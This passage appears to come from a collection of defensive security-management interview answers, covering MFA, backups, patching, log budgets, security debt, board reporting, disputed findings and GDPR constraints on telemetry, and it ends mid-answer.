The layer a question lives at is fixed by the question, not by what you happened to collect first. Encryption is per-layer: TLS protects the payload, and it does nothing to hide IP addresses, ports, byte counts or timing. So "which hosts talked to each other" is answerable from flow logs even when every byte on the wire is encrypted. "What data was read" is not answerable from any network source once TLS is in play: you need an endpoint source that observes the file system or the process, and if that source was never enabled, the question is unanswerable and you should say so rather than burn days on decryption.
| Question | Layer that answers it | Source | Days spent on the wrong source |
|---|---|---|---|
| which hosts communicated | network | flow logs | 0 |
| which name was resolved | application | DNS logs | 0 |
| what data was read | endpoint | file access telemetry | 4 |
The four days in that last row are the failure I keep seeing. An investigation wanted to know what had been exfiltrated, reached for packet capture, and found the traffic was TLS. The answer had been sitting in file-access telemetry the whole time, on a host that was still running. The capture was not wrong to collect, it established the destination and the volume, but it could never have answered the question it was collected for.
Three failure modes worth naming:
Collecting what is easy instead of what answers the question. Before opening a tool, write the question, the layer, and the source on one line. If the source cannot observe that layer, the collection is wasted. This check costs a minute.
Treating lower-layer evidence as complete. Flow logs show a host talked to an IP. They do not tell you which process did it, or whether it was the user or malware. Attribution needs endpoint telemetry; the network layer cannot supply it.
Reading the attacker's layer as your layer. Command-and-control over TLS on 443 is indistinguishable from browsing at L3 and L4. Layering is a map of your evidence, not of the attacker's intent: "looks like HTTPS" is not "is benign."
Layering also tells you when it will not save you. If the artefact is memory-only, no lower layer holds a copy, and you must collect at the layer where it exists, which is also the most volatile, so order of volatility decides whether you get it at all. That is the case where the map says: go straight to the top, and go now.
Curated: · Written: · Reviewed:
Q&A-68You are the only security person at a 60-person company. What do you do first?
First 90 days, I'd do three things and write down what I'm not doing.
Enforce phishing-resistant MFA, WebAuthn/FIDO2 security keys or platform passkeys, on every identity that can reach production, email, or the code host. Not TOTP, not push. WebAuthn binds the credential to the origin, so a relayed phishing page can't replay it, which kills credential phishing, MFA-fatigue bombing, and OTP-relay kits as a class. In Entra ID or Okta this is a policy change plus a hardware-key rollout: about two weeks of setup for 60 people, then roughly two hours a month of exceptions and lost-key resets.
Second, backups that survive the attacker being inside. Immutable, versioned, off the primary trust domain: S3 with Object Lock in a separate account, or a Veeam repo with immutability enabled, and the backup credentials not usable from the production domain. The point isn't having backups; it's that a domain admin who owns your AD can't delete them. A week to set up, and a timed restore test on the calendar every quarter: a restore you haven't timed is a hope. Budget four hours a month.
Third, patch the internet-facing surface on a clock. Anything with a public listener: VPN, mail gateway, edge appliance, the SaaS admin consoles. Use CISA's Known Exploited Vulnerabilities catalog as the priority list (it's the exploited-in-the-wild subset, not the CVSS top scores) and commit to 14 days for KEV entries, 30 for criticals with no known exploitation. That's about an hour a week of triage plus the patching itself.
| Control | Setup | Ongoing/month | What it removes |
|---|---|---|---|
| WebAuthn MFA (Entra ID/Okta + security keys) | ~2 weeks | ~2 h | credential phishing, MFA fatigue, OTP relay |
| Immutable backup (S3 Object Lock / Veeam immutability) | ~1 week | ~4 h incl. quarterly restore test | ransomware encryption of the only copy |
| KEV-driven patching of the public surface | ~1 week to inventory | ~6 h | exploitation of known, published vulns |
What I'm not doing: no self-run SIEM. A one-person SIEM is 40–60 hours a month of tuning and alert triage, and it detects after the fact while the three controls above prevent. The classic version of this failure is a sole practitioner spending a year tuning a SIEM while MFA was unenforced and backups were untested: the most expensive way to learn the org had already been compromised.
How I'd know it's working, not just deployed: a quarterly restore with a stopwatch, an annual phishing exercise against the new MFA (if anyone gets through, the rollout has a hole), and a monthly external scan of the public surface to catch the listener nobody remembered.
Then I'd write the residual risk down for the exec: no 24/7 detection, no EDR beyond what the OS gives, incident response is me plus a retainer, and a determined attacker with a novel exploit gets time. That's the honest trade at 60 people, and it's the one I'd defend.
Curated: · Written: · Reviewed:
Q&A-69How do you evaluate a security product?
"Evaluate" hides three different decisions: buy a commercial product, build it in-house, or buy it as a managed service. The criteria differ, so name which one you're making before scoring anything. Assume you have a defined gap (a detection coverage hole, a compliance control) a budget, and a team whose hours are the binding constraint.
The core answer: judge the product on total cost of ownership over the first year, and the dominant term is operating effort, not licence. A tool nobody has time to run produces alerts nobody reads. So the question is whether you can staff it at the cadence it needs, not whether it works in a demo.
Evaluate on three axes:
- Fit against your own telemetry. Trial with your logs and data, not the vendor's canned demo. Enumerate the log sources it requires and check each against your inventory before you sign.
- Integration cost. What it demands from you: agents on endpoints, identity integration, network changes, initial tuning.
- Steady-state operating hours. Measure them in the trial. A datasheet estimate is a marketing number.
Now the alternatives, because the answer changes with them:
- Build vs buy. Build when the detection logic is your differentiator and you have engineers to own it. Buy when it's commodity coverage you'd be reimplementing badly.
- Managed service vs self-operated. A managed service moves the operating hours to the vendor, but you lose tuning control and pay per seat or per GB ingested. Self-operated keeps control and needs the staff.
- Heavy platform vs lighter tool. When the platform's extra features go unused, a lighter tool with fewer integrations is the right call: fewer moving parts to operate.
Failure modes, and how you catch them:
- Missing log source discovered after purchase. Catch it in the trial by diffing required sources against your inventory.
- Alert volume nobody triages. Measure alerts per day in the trial and compare against your triage capacity.
- Tuning drift. Track false-positive rate over weeks; if it climbs, the tool is decaying.
A worked example, figures illustrative:
| Component | Estimated | Actual |
|---|---|---|
| Licence | £40k | £40k |
| Deployment | 2 weeks | 3 months |
| Ongoing operation | 4 h/week | 20 h/week |
The licence was the cheap part. At 20 h/week, that's 1,040 hours a year; at a loaded £75/hour, roughly £78k of staff time: about double the licence. The 4 h/week estimate came from the datasheet; the 20 h/week came from running it against real data.
So the evaluation is: trial against your own telemetry, measure the operating hours it consumes, and price those hours in before you buy.
Curated: · Written: · Reviewed:
Q&A-87You have budget for two of five proposals. How do you choose?
What I'd clarify first. "Budget" is ambiguous in a way that decides the answer. Is it money, engineer-quarters of build capacity, or ongoing operational load? Those pick different winners. I'd also ask the horizon, one quarter or three years, and whether any proposal is a prerequisite for another. Absent answers, I'll assume a fixed pool of build capacity plus a fixed pool of ongoing operational capacity, a one-year horizon, and independent proposals.
The answer. Rank by value delivered per unit of total cost, where total cost is build cost plus ongoing cost annualised. Ongoing cost is the term people drop, and it's the one that decides. Build cost is paid once and amortises; ongoing cost is drawn from the same fixed pool every month, so it competes with everything you'll want to do later. Convert to a common unit: at 160 working hours a month, 40 h/month of maintenance is 0.25 FTE, permanently.
Then pick the top two by ratio, subject to two portfolio checks: no overlap (two proposals that fix the same thing are one proposal), and no hidden dependency (if B needs A, they're a bundle, not two picks).
Worked example (hypothetical). Five proposals, budget = 2 engineer-quarters of build, ongoing pool = 1.0 FTE.
| # | Proposal | Build | Ongoing | What it changes |
|---|---|---|---|---|
| 1 | SSO replacing bespoke auth | 4 wk | 2 h/mo | removes 3 recurring failure modes: orphaned accounts, credential sharing, reset load |
| 2 | Hosted CI runners | 6 wk | 4 h/mo | removes 2: runner-host patching, capacity thrash |
| 3 | Metrics + alerting stack | 10 wk | 40 h/mo | removes 0; shortens detection of failures that still happen |
| 4 | Billing service rewrite | 2 qtr | 20 h/mo | unlocks 2 roadmap features |
| 5 | Vendor data-quality tool | 2 wk | 30 h/mo + licence | removes 1 |
Ongoing in FTE: #1 0.0125, #2 0.025, #3 0.25, #4 0.125, #5 0.1875. Picks are #1 and #2: highest value per ongoing hour, and 4 + 6 = 10 weeks fits the 26-week build budget. #4 carries the most value but eats the entire build budget and 0.125 FTE forever: it's the right pick only if the roadmap features are the actual goal, which is why I asked about the horizon.
When this heuristic is wrong. If a proposal is a hard requirement (a contract, a compliance deadline, a dependency everything else needs) it isn't scored, it's scheduled. If the value units aren't comparable (one proposal cuts incidents, another ships revenue), don't force them onto one axis; that's where a scoring table lies. And a cheap, reversible proposal can beat its ratio, because a two-week pilot buys information you can't get from the table.
The failure mode I'd watch. The structural fix loses to the visible one. A proposal that removes a recurring failure mode is invisible when it works; a dashboard is visible every day. Rank on perceived value and you fund the dashboard, then keep paying the 0.25 FTE for the problem you could have deleted.
Curated: · Written: · Reviewed:
Q&A-97Security logging costs more than the team's tooling budget. What do you cut?
Clarify three things before cutting anything: how big the gap is, what retention a contract or regulator actually mandates, and whether the bill is per-GB ingested or per-GB stored. A 15% overshoot is a tiering problem; a 3x overshoot is a collection problem. I'll assume per-GB ingest pricing, a 90-day hot window, and no source exempted by policy.
Then: cut by investigative value per byte, not by a uniform percentage. In security telemetry, volume and value are close to uncorrelated, and the largest source is usually the least useful one.
| Source | Share of volume | Investigations using it |
|---|---|---|
| web access logs | 68% | 12% |
| authentication | 3% | 94% |
| DNS | 11% | 71% |
| endpoint process | 18% | 88% |
The mechanism behind that table: web access logs are one record per HTTP request, so a single crawler or health-check loop can generate more events than every authentication event on the estate combined. Auth logs are one record per login: tiny volume, and they answer "which account, from where, at what time", which is the first question in most intrusions. DNS sits in between: high volume, but the signal is concentrated in NXDOMAIN responses and long or high-entropy labels, not in the successful lookups.
So the cuts, in order:
- Web access logs: drop 2xx/3xx at the collector, keep 4xx/5xx and anything with a non-standard user agent, and emit a per-minute request counter instead. Biggest saving, near-zero cost.
- DNS: keep NXDOMAIN, SERVFAIL, and queries with labels over ~50 characters; sample successful lookups 1:100. Keep the full stream for the 24 hours around any active incident.
- Endpoint process: keep it. 88% of investigations touch it and it is 18% of volume: the ratio is fine.
- Authentication: keep it, and extend it if anything.
Arithmetic, with hypothetical pricing at $0.50/GB ingested on 2,000 GB/day:
- Total: $1,000/day.
- Web access logs: 1,360 GB/day → $680/day. Cutting to ~10% of volume saves ~$612/day, about $18k/month.
- Auth logs: 60 GB/day → $30/day. Cutting them saves 3% of the bill and removes the source in 94% of investigations.
One source is 68% of the cost and 12% of the value; another is 3% of the cost and 94% of the value.
The failure mode to avoid is a uniform retention cut. I have watched one take authentication logs from 90 days to 30 along with everything else; four months later an investigation needed the login history from the start of the compromise and it was gone. The saving was a rounding error. Detect it by tracking, per source, the last time it appeared in a closed investigation, and alerting when a source drops out of the hot tier while still appearing in recent cases.
Alternatives worth naming: tiering to cold object storage is right for compliance retention and wrong for hunting, because a hunt that has to rehydrate 90 days of data takes hours. Dropping at the emitter is the only irreversible option, so reserve it for sources you have proven unused, and fix the noisy application rather than the pipeline when you can, since a health check logging every 200 is a bug in the app, not a logging policy.
What would change my answer: if the gap is under ~20%, tiering plus the web-log cut closes it without touching anything else. If a regulator or contract names a source, that source is off the table regardless of its value density. And if the volume turns out to be one application's debug logging, the fix is a config change, not a retention policy.
Curated: · Written: · Reviewed:
Q&A-99How do you stop security debt becoming permanent?
The 90-second answer
Assume "security debt" means known, deliberately deferred weaknesses: unpatched CVEs, a missing authorization check, a secret in a config file, an unpinned dependency. It becomes permanent for a structural reason: it has no deadline, no owner, and no budget, so it never wins against work that has all three. Fixing that is the whole job.
Give every item three fields and one consequence:
- an owner: a person, not a team;
- a date, when it gets fixed, or when the risk acceptance expires;
- a cost: the exposure in operational terms: internet-facing, holds cardholder data, reachable pre-auth.
The consequence is what makes it real. When the date passes, the item escalates to the owner's manager, and an expired acceptance means the compensating control is enforced or the release is blocked. Without that consequence a register is a diary.
Mechanism: visibility alone doesn't change prioritisation. The forcing function does. A date that triggers escalation pulls the item into the same planning process as feature work, where it competes for the same capacity. That's why "we track it" fails and "it expires and escalates" works.
Alternatives, and when each is right
| Approach | What it does | Use when | Fails when |
|---|---|---|---|
| Expiring risk acceptance | Owner + date + escalation | You can't fix now but can bound the risk | Dates get rubber-stamped on renewal |
| CI ratchet | Block new criticals/highs at merge | Backlog is large; stop the inflow first | Gate bypassed with an override label |
| Reserved capacity | Fixed share of each sprint for debt | Debt is real but never scheduled | First deadline pressure eats the reserve |
| Compensating control | WAF rule, network isolation, virtual patch | Patch is impossible (EOL, vendor lag) | Control is assumed, never tested |
| Permanent acceptance | Documented, signed, reviewed annually | Risk is genuinely low and bounded | Used as a default to close tickets |
Deciding criteria, in order: is it exploited in the wild (CISA KEV) or likely to be (EPSS)? Is it reachable from the internet or pre-auth? What's the blast radius? What does the fix cost? If a compensating control exists it buys time; if not, the date is the only control you have.
Failure modes
- Expiry auto-renewal. The same 40 items roll over every quarter. Detect by counting renewals per item; a second renewal should need a director's sign-off.
- Orphaned owner. The owner left. Detect by joining the register against the directory; unowned items are the ones that show up in incidents.
- Counting instead of exposure. "We closed 200 tickets" while the six internet-facing ones stay open. Track open items by exposure class, not total.
- A register nobody reads. No one can name the top five items. Ask the on-call engineer.
Two artefacts
Example SLA policy (hypothetical: tune to your risk appetite):
| Severity | Fix window | On breach |
|---|---|---|
| Critical, internet-facing, in KEV | 7 days | Page the owner; block release |
| High | 30 days | Escalate to manager |
| Medium | 90 days | Queue for next quarter |
| Low | 180 days | Batch with dependency upgrades |
Why the ratchet matters, in arithmetic: 400 open findings, 30 new per week, team fixes 20 per week → net +10/week → roughly 920 after a year. Add a merge gate that blocks new criticals and reserve 20% of sprint capacity → fix rate 40/week against 30 inflow → net −10/week → near zero in about 40 weeks. The gate doesn't fix the backlog; it stops the backlog from winning.
Bottom line: an item with an owner, an expiring date, and an escalation path is a decision. An item without them is a note.
Curated: · Written: · Reviewed:
Q&A-100You join a security team with nothing in place. What does success look like after a year?
After a year, success is that the cheapest way into the environment is gone, and that you can prove it by exercise rather than by a tool inventory. Four things should be true at month 12.
- Phishing-resistant MFA on every human account that can reach production or email, with no standing admin rights.
- A backup you have restored from under time pressure, with the restore path independent of the production directory.
- An inventory of internet-facing services you trust enough to act on, with the ones nobody owns already shut off.
- Detection on the paths that remain, mapped to techniques you have exercised.
Order matters because attacker cost is not linear. Credential theft and unpatched internet-facing services are the two cheapest entries into most environments, so they take the first two quarters. Backups come before detection because ransomware turns a detection miss into an existential one, and a restore you have never run is a hypothesis, not a control. Inventory comes third because you cannot patch, segment or monitor what you cannot enumerate. Detection comes last because it costs the most per unit of risk removed and is the easiest thing to buy without effect.
| Order | Work | Verified by |
|---|---|---|
| 1 | phishing-resistant MFA, no standing admin | relay attempt against a real account fails |
| 2 | immutable, tested backup | full restore inside the agreed RTO |
| 3 | asset inventory and internet-facing exposure | services with no owner shut off |
| 4 | detection on remaining paths | techniques exercised end to end |
This sequence exists to avoid one specific failure. A year spent deploying six tools ended with MFA unenforced on legacy authentication and backups untested; the incident that followed used a reused password and encrypted the backups along with everything else. The tools were not the problem. The order was.
Verification is the part teams skip. Each row is proven by an exercise, not a screenshot: run the relay attempt, run the lateral movement, restore the backup, re-scan the perimeter. If the exercise fails, the row is not done, whatever the console reports.
Measure the year by what an attack now costs, not by what you bought. Useful numbers are median time from first suspicion to containment, share of critical assets with a named owner, count of internet-facing services removed, and count of ATT&CK techniques you have actually exercised. Alert volume and tool count are not on that list.
Year one deliberately excludes a 24/7 SOC unless a regulator requires it, organisation-wide data classification, and vendor consolidation. Those are year two, and starting them early is how the six-tool year happens.
Two cases change the order. In a regulated environment with an existing SOC, detection may need to move ahead of inventory. With no internet-facing footprint, internal asset inventory moves up. Everything else holds.
Curated: · Written: · Reviewed:
Q&A-88How do you present security to a board?
Give the board a decision, not a threat report.
In the first two minutes, put up one slide: a named scenario, what it costs if it happens, how likely it is, what you want to spend, and what you recommend. Then stop and take questions. The risk register, control coverage and maturity score are appendix.
Why this works. Directors owe a duty of care and are personally exposed for oversight failures (In re Caremark, 1996). Their only real levers are capital allocation and risk appetite. A slide reading "47 critical findings" gives them nothing to allocate and nothing to decide, so they nod and move on. A slide reading "$8.2M single-loss exposure, $400k to cut it by 75%" is a decision they are equipped to make. That is the whole mechanism: convert technical risk into the two quantities a board acts on. Loss, and cost to reduce it.
Worked example (hypothetical figures, SaaS company at $200M ARR):
- Ransomware takes the product offline for 5 days.
- Revenue at risk: $200M / 365 ≈ $548k/day × 5 = $2.7M
- Forensics, recovery, legal: $1.5M
- Churn: 2% of ARR = $4.0M
- Single loss ≈ $8.2M
- Annualised rate of occurrence 0.2 (roughly once in five years) → annualised loss ≈ $1.6M
- Mitigation: MFA everywhere, EDR, immutable backups = $400k/yr
- Residual annualised loss ≈ $0.4M
Ask: approve $400k; expected reduction ≈ $1.2M/yr. That is FAIR-style arithmetic (Freund & Jones, 2014), and it survives a CFO's challenge because every input is a number they can argue with.
Format against decisions.
| Format | Quarters run | Decisions produced |
|---|---|---|
| findings by severity | 3 | 0 |
| scenario + cost + ask | 1 | 1 |
Failure modes, and how you'd notice.
- Severity-count deck: no decision, quarter after quarter. Detect it by logging decisions per board meeting; two consecutive zeros means the format is wrong, not the board.
- FUD with no numbers: the board discounts it, and you burn credibility you will need when a real incident lands.
- A menu of options: the board defers. Bring one recommendation with a fallback.
- No named owner or date: the item rolls to the next quarter. Every ask gets an owner and a date.
When not to use it. After a material incident the board wants timeline, containment and blast radius, not annualised loss. If you are SEC-registered, materiality determination and the four-business-day Item 1.05 disclosure clock (in force since December 2023) are the board's business: bring that, not a scenario deck.
Cadence: quarterly, 15–20 minutes, one-page pre-read. Judge the format by the decisions it produces.
Curated: · Written: · Reviewed:
Q&A-86A team disagrees with a security finding. How do you handle it?
I don't argue about the finding; I argue about the exposure. In the first conversation I ask three questions and write down the answers: is the vulnerable code path reachable from anything an attacker controls, what does the attacker get if they reach it, and what does the fix cost. Most disagreements die on the first question, because scanner severity is environment-blind: a CVSS 9.8 in a library you call only from a build script is not a 9.8 in your production service.
Then one of two things happens. Either I demonstrate the exposure (a request that triggers it, a stack trace, a reachability path) and the team usually agrees on the spot. Or they show me the path is unreachable, and I close the finding as a false positive with the evidence attached. What I don't do is escalate it as non-compliance, because that turns a technical question into a status contest and you lose the next five findings.
Why disputes happen
CVSS base score is computed without your environment. It doesn't know whether the vulnerable function is called, whether the input is attacker-controlled, or whether the service is internet-facing. EPSS gives you the probability of exploitation in the wild over the next 30 days; SSVC turns exploitation status and technical impact into a decision: Track, Track*, Attend, or Act. Use those to set your own severity, and say the numbers out loud: "this is CVSS 9.8, EPSS 0.02, our reachability check says unreachable, so we track it, we don't patch tonight."
Worked example
A scanner flags requests==2.19.0 (CVE-2018-18074: the Authorization header is forwarded to a redirect target). The team says "we only call internal hosts."
I trace the call sites:
$ semgrep --config p/python app/
app/ingest.py:14: requests.get(feed_url, allow_redirects=True)
app/health.py:9: requests.get(HEALTH_URL)
... 5 more, all constant URLs
feed_url at app/ingest.py:14 is a user-supplied field from the tenant config API, and allow_redirects=True is the default. So the team is right about six call sites and wrong about one. The finding narrows to a single line; the fix is allow_redirects=False plus pinning requests>=2.20.0. That's a 20-minute change, not a sprint.
Failure modes
- Escalating as non-compliance. The team is often right about most of a finding, and you've now taught them that findings are political.
- Accepting "we'll fix it later" with no owner or date. Risk acceptance without a review date is just forgetting.
- Accepting an "equivalent" fix that doesn't close the exposure: a WAF rule in front of a path that is also reachable from inside the network.
Approaches
| Approach | Exposure closed | Findings resisted later |
|---|---|---|
| Escalate as non-compliance | no | 3 (illustrative, not measured) |
| Demonstrate exposure, split the finding | yes | 0 (illustrative, not measured) |
Record the outcome either way: finding ID, decision, evidence link, owner, review date. If it's a real disagreement, write down both positions: the next reviewer needs to know it was contested.
Curated: · Written: · Reviewed:
Q&A-89Describe a security decision you got wrong.
The decision: I let a partner integration keep authenticating with a long-lived static API key instead of forcing them onto short-lived OAuth tokens. Their team said the migration would take a quarter; our launch was in three weeks. I called it a temporary exception. It lived 14 months, and one of those keys ended up in a public repo.
What I knew at the time: the key was scoped to a single read-only service account, the partner was a known vendor, and the launch date was fixed. What I did not have was any way to answer "is this key still in use, by whom, from where?" No rotation, no expiry, no per-key usage telemetry. The exception had no exit condition.
The mechanism of the failure is that a static credential is a decision that never re-presents itself. Every other risk in that launch (a bad deploy, a schema change) forced a review because it broke something. The key kept working, so nothing pulled it back onto the agenda. "Temporary" without an expiry date is permanent.
The signal I should have watched: authentication from an ASN the partner does not own, or any use of the key after the migration deadline. Either was visible in a single log field. I had the logs; I never queried them.
| When | Event | Telemetry I had |
|---|---|---|
| Week 0 | Exception granted, no expiry | none |
| Month 3 | Partner migration deadline passes | none |
| Month 9 | Key committed to a public repo | none |
| Month 14 | Third party scrapes the repo and uses the key | access logs, unqueried |
Blast radius: the key read from 3 buckets holding roughly 4.2M customer records, via s3:GetObject on the prefix. Detection came from a customer support ticket, 11 days after the first unauthorized use, not from monitoring.
What I changed: every exception now carries an expiry date and a named owner, and I set the reversal threshold before granting it. For this class of decision the threshold is: if the credential is still in use 30 days past the agreed migration date, the exception is revoked and the integration is cut off, whoever asks. I also added a weekly query for credentials used past their stated expiry.
Alternatives I did not weigh. I could have issued the key with a 90-day expiry and forced a re-issue: one rotation for the partner, and the problem surfaces at month 3. Or I could have put the partner behind a proxy that logged and rate-limited, keeping the key out of their hands entirely. Both were cheaper than the incident.
When pre-committed thresholds are not worth it: for a one-off, low-blast-radius exception, a read-only key to a non-production bucket, the ceremony of an expiry and an owner is overhead. The rule I use is whether the credential can reach production customer data. If it cannot, a calendar reminder is enough.
Figures are illustrative; substitute your own incident.
Curated: · Written: · Reviewed:
Q&A-90How do you keep up without chasing every headline?
The question a defender should be able to answer fast is not "what is new" but "does this apply to anything we run." Everything else follows from that.
The 90-second answer. Clarify the estate and threat model first: a 40-host SaaS-heavy shop and a 4,000-host mixed fleet need different answers. Then: keep an inventory that answers version and configuration questions in minutes, subscribe to a small number of behaviour-focused sources (your vendors' security bulletins, CISA's Known Exploited Vulnerabilities catalog, one or two practitioner feeds), and convert each relevant item into a detection to test or a control to check. Everything else gets filed, not read. Relevance is decided by whether a technique applies to your estate, not by how much coverage it got.
The alternatives, and what they cost.
| Approach | What it buys | Cost | Right call when |
|---|---|---|---|
| Vendor bulletins + KEV only | Exploited-in-the-wild and shipped-software signal | Hours/week | Small estate, few vendors, you can enumerate hosts by hand |
| SBOM-driven matching | Dependency-level precision, catches transitive OSS | Build pipeline work, storage, ongoing regeneration | You ship software or carry heavy OSS dependency trees |
| Managed triage (MSSP or intel feed) | Someone else filters and contextualises | Recurring licence cost, plus trust in their scoping | No dedicated detection engineer, or 24/7 coverage needed |
| Own inventory + behaviour sources | Fast, defensible "do we run it" answers | Weeks of engineering up front, permanent drift maintenance | Estate large enough that memory can't answer the question |
These compose. Most shops run vendor bulletins plus one of the other three.
The cost nobody budgets for. An inventory is not a one-time build. Agent rollout, CMDB hygiene, configuration collection, and drift correction are ongoing work: realistically a fraction of an engineer, forever. If the data goes stale, you get false confidence, which is worse than no inventory: you will confidently say "not affected" about a host that is.
When it is not worth it. Under roughly 50 hosts you can enumerate by hand, the inventory is overhead. If you cannot patch anyway (no maintenance windows, no vendor fix) the inventory buys you less than a compensating control or a detection would. And if your estate changes weekly, an inventory that is stale by Friday is a liability, not an asset.
Failure modes to name. Stale inventory producing a wrong "we don't run it." Shadow IT that never entered the inventory. Source sprawl: ten feeds, none read. And the inverse: over-collection, where the inventory answers questions nobody asks and misses the one that matters.
Worked example (illustrative figures). A widely covered vulnerability consumed three days across twelve teams; the affected configuration was not in use anywhere. The same triage under different inventory maturity:
| Inventory | Time to assess | Teams involved |
|---|---|---|
| None | 3 days | 12 |
| Versions only | 2 h | 1 |
| Versions + configuration | 20 min | 1 |
The gap between rows two and three is the configuration data: the part teams skip.
How I would know it works. Measure the time to answer "do we run the affected version and configuration" for the next five advisories. If it is not under about 30 minutes, the inventory is not doing its job, and the fix is data quality, not more feeds.
Curated: · Written: · Reviewed:
Q&A-91What mistake do experienced defenders make?
The mistake is optimizing for what you can measure instead of what an attacker will actually do. Experienced defenders make it more often than juniors, because they are the ones who built the metrics, and the metrics are how they get budget.
Assume a program with a detection stack, a vulnerability pipeline, and a quarterly review. The defender's scorecard is coverage, rules shipped, findings closed. All three are computed from the tooling's own view of the estate, and that is the trap: coverage is a ratio whose denominator is whatever the tool can see. A host the agent was never installed on is not a gap in the ratio: it is absent from the ratio entirely. The number climbs when you fix things you already knew about, and stays silent about things you never enumerated.
A hypothetical year makes the shape concrete. A team pushed claimed coverage from 60% to 92% and closed 340 findings. The intrusion that eventually landed came through an unmanaged build server that had never appeared in any inventory, so it had never been in the denominator.
| Activity | Share of effort | Real attack paths closed |
|---|---|---|
| Coverage improvement | 80% | 3 |
| Adversary-perspective work | 20% | 11 |
The 11 paths were things like a service account with domain-wide delegation and a CI runner that could reach production. None of them showed up in the coverage matrix, because the matrix was built from the same asset inventory the scanner used.
Why this bites experienced defenders specifically: they have been rewarded for the measurable number for years, they trust their own stack, and adversary-perspective work is the one activity that produces arguments instead of charts. It is also the first thing cut when the quarter tightens, because its output is a finding, not a percentage. The trade-off is real, you need coverage metrics for regression detection and for funding, but the mistake is having only those, and treating them as a proxy for security rather than for tooling health.
Failure modes, and how to detect each:
- An exercise that finds nothing gets reported as "the estate is clean." Treat a clean red team as a scoping bug until proven otherwise, and check whether the exercise used the same asset list as the scanner.
- Coverage and findings-closed both climb while mean time to detect on real incidents stays flat. That divergence means the coverage number is measuring the tool, not the estate.
- Nobody can state how many hosts exist outside the agent's inventory. If that count is unknown, every coverage figure has an unknown denominator and the percentage is not defensible.
What I would change: report adversary-perspective findings in a separate section from control coverage, never blended into one score, and protect a fixed share of the team's time for that work. Then the review question that decides it, which of these numbers would move if an attacker used a path we do not instrument? If the answer is none, you are measuring your own tooling.
Curated: · Written: · Reviewed:
Q&A-92Is deception worth deploying?
Short answer: yes, but as a precision instrument, not a detection net. Deception buys a signal with a near-zero false-positive rate; it does not buy coverage. Deploy it where you already have detection breadth and are drowning in low-precision alerts.
State the assumptions first. You can place assets nothing legitimate touches, you can isolate them from production, and you have a routing path that a human actually watches. If you cannot guarantee exclusivity, the value proposition collapses: a decoy that legitimate traffic hits is just another noisy rule.
Why it works. Detection controls trade precision for recall. A signature or behavioural rule fires on a broad class of activity, so it catches more and cries wolf more. A deception asset inverts that: it has no legitimate purpose, so the prior that any interaction is benign is roughly zero. In a mature SOC precision is the scarce resource, not recall. That is the whole argument, and it is why deception is judged on the alerts it removes from the queue, not the ones it adds.
What to deploy. Canary tokens (cloud access keys, DNS beacons, document beacons), honey credentials seeded in the credential store, decoy SMB shares and service accounts, decoy hosts on internal subnets. The rule for each: plausible enough to be attractive, isolated enough that touching it is unambiguous, and maintained so it does not rot into an obviously fake artefact.
Worked example (illustrative figures, not a benchmark). An estate generating 54,000 general-rule alerts a quarter with 40 true positives is running at 0.07% precision: an analyst cannot triage that. Three deception credentials in the same quarter produced three alerts, all genuine.
| Source | Alerts/quarter | True positives | Precision |
|---|---|---|---|
| General rules | 54,000 | 40 | 0.07% |
| Deception credentials | 3 | 3 | 100% |
The deception alerts are worth more than the 54,000 because they are actionable on arrival. The 40 true positives buried in the general rules are the ones you were already failing to find.
Trade-offs and when not to. Deception is low-recall by construction: it only fires when an adversary reaches a specific asset, so it complements EDR, NDR and UEBA rather than replacing them. Skip it if the estate is small enough that you cannot guarantee exclusivity, if legitimate scanners and backup jobs sweep everything, or if you lack the staff to maintain decoys. For insider-focused decoys, check employment-monitoring rules and works-council constraints in your jurisdiction before deploying.
Failure modes, and how you detect them.
- Your own tooling trips the decoy. Vulnerability scanners, inventory agents and backup jobs hit decoy shares. Detect by baselining scanner source IPs; if a decoy fires from an internal scanner, you have a false positive and a broken decoy. Fix by excluding decoys from scanning or tagging those sources.
- Stale decoys. Credentials that no longer authenticate, hosts with default hostnames and no traffic. Attackers fingerprint and avoid them. Detect by watching interaction rate: an attractive decoy with zero hits over a quarter is not attractive.
- The honeypot becomes a beachhead. A decoy host that is reachable and exploitable is a pivot. Detect with segmentation checks; the decoy must sit in its own segment with no route to production.
- The alert goes nowhere. A high-precision signal nobody watches is worthless. Test the routing path quarterly with a synthetic trigger.
How I would settle it. Measure the precision of deception alerts against the rest of the pipeline over a quarter, and track whether the decoys changed attacker behaviour: dwell time, lateral movement, or avoidance. If deception alerts are not the highest-precision source you have, the deployment is wrong, not the idea.
Curated: · Written: · Reviewed:
Q&A-50Where do privacy requirements change what a security team does?
The 90-second answer. Privacy changes four things in a security team's work, and none of them is detection logic: what telemetry you may collect, how long you may keep it, who may look at it, and what you owe regulators and data subjects when it leaks. Rules, hunts and response all run on top of those four constraints. I'll use GDPR as the reference regime; CCPA/CPRA has no 72-hour regulator clock but does require breach notice without unreasonable delay, so the shape is similar and the deadlines are not.
Collection. Purpose limitation (Art. 5(1)(b)) and data minimisation (Art. 5(1)(c)) mean every log source needs a stated detection purpose before onboarding. "It might be useful" is not a purpose. In practice this kills full URL logging, full packet capture on user VLANs, and screen-capture DLP by default, and keeps authentication logs, DNS query logs, process execution and egress metadata.
Retention. Storage limitation (Art. 5(1)(e)) ties retention to the purpose. The investigation window sets it: 90 days covers most IR lookback, 12 months covers slow-burn insider cases. The real change is that retention is enforced in the pipeline (index TTL, partition drop) not written in a policy PDF.
Access. Analysts don't need raw personal data to triage. Pseudonymised views, break-glass with a recorded justification, per-query audit.
Incident response. Art. 33 starts a 72-hour clock to the supervisory authority from the moment you become aware, not from when you finish scoping. Art. 34 adds notification to data subjects when risk is high. That inserts a legal decision point into the IR runbook. Employee monitoring also usually needs works-council or equivalent consultation (Art. 88 plus national law), which is a deployment gate, not a review step.
Illustrative mapping, one row per source:
| Source | Detection purpose | Retention | Enforced by |
|---|---|---|---|
| auth logs (IdP, VPN, SSH) | credential stuffing, lateral movement | 12 months | index TTL |
| DNS query logs | C2 beaconing, DGA | 90 days | daily partition drop |
| proxy full URLs | none stated | not collected | blocked in proxy config |
| endpoint process exec | malware, LOLBins | 30 days | agent-side ring buffer |
Where minimisation costs you. Dropping full URLs removes the ability to see exfil to personal cloud storage by path. You compensate with per-host egress volume plus DLP content matching, accepting a coarser signal. Hashing source IPs with a static salt is pseudonymisation, not anonymisation: Recital 26 and CJEU Breyer (C-582/14) both treat re-identifiable data as personal data. A per-day rotating salt breaks cross-day correlation, which is exactly the correlation slow beaconing detection wants. That trade-off should be a written decision, not a default.
Failure modes I've seen.
